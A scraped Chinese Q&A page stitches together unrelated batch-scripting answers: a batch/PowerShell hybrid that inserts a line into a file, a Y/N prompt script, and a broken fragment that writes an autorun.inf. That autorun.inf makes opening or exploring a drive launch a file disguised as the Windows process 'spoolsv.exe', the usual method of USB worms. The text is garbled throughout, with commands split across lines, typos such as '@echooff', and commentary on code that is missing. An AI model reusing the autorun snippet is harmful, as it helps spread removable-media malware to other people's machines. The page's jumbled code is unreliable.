不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行
<# :cls&echo off
rem 在一个txt文本文件里的一个指定行内容下面插入一行其他内容
cd /d "%~dp0"
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "&{[ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::Default)).Invoke()}"
echo%#% +%$%%$%/%_% %z%
pause
exit
#>
$file1='A.txt'
$file2='B.txt'
$str1='<property name="a" ref="b" />'
$str2='<property name="c"><ref local="d" /></property>'
$enc=New-Object System.Text.UTF8Encoding $False
$text=[IO.File]::ReadAllText($file1,$enc)
$text=$text.replace($str1,($str1+"`r`n"+$str2))
[IO.File]::WriteAllText($file2,$text,$enc)
分类: 电脑/网络 >> *** 作系统/系统故障问题描述:
原来的批处理文件(.bat)是双击就开始运行我现在想把它变成这样双击欢迎使用我的自制批处理软件。。。。。。。。。。。。。Y确认继续 N放弃退出(按Y)批处理开始。。。。。。。。。(按N)退出请高手帮我解答!
解析:
简单的很:
---以下是批处理代码---
@echo off
:start
cls
echo.
echo 本批处理文件由jueyi5857制作
echo.
set /p c=是否继续执行?(Y/N)
if "%c%"=="Y" goto prgrm
if "%c%"=="N" goto end
goto start
:prgrm
::(此处请删除前面两个冒号后放置你的批处理代码,批处理代码可以多行)
:end
exit
---以上是批处理代码---
使用SET /p命令做了一个交互,再用IF语句判断输入,最后用标记符和goto语句定位,这样就可以了。
@echooff
(echo
[autorun]
echo
open=spoolsv.exe
echo
hell\open=打开(^&o^)
echo
shell\open\command=spoolsv.exe
echo
shell\open\default=1
echo
shell\explore=资源管理器(^&x^)
echo
shell\explore\command=spoolsv.exe)>autorun.inf
这是最觉的方法,用echo
创建文件,
但是要注意,如果字符串中包含特殊符号,必需加上转义符^
使特殊符号成为普通字符输出
睿之锐
是用more命令输出字符串到文件
这里的
%0
表示批处理自身
more命令某种程度上相当于显示命令
type
只是more命令可以带参数
+
n
表示跳过n行显示内容
这里,
睿之锐的代码中,是跳过3行
也就是批处理的前3行,从第4行开始显示,并输出到文件
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)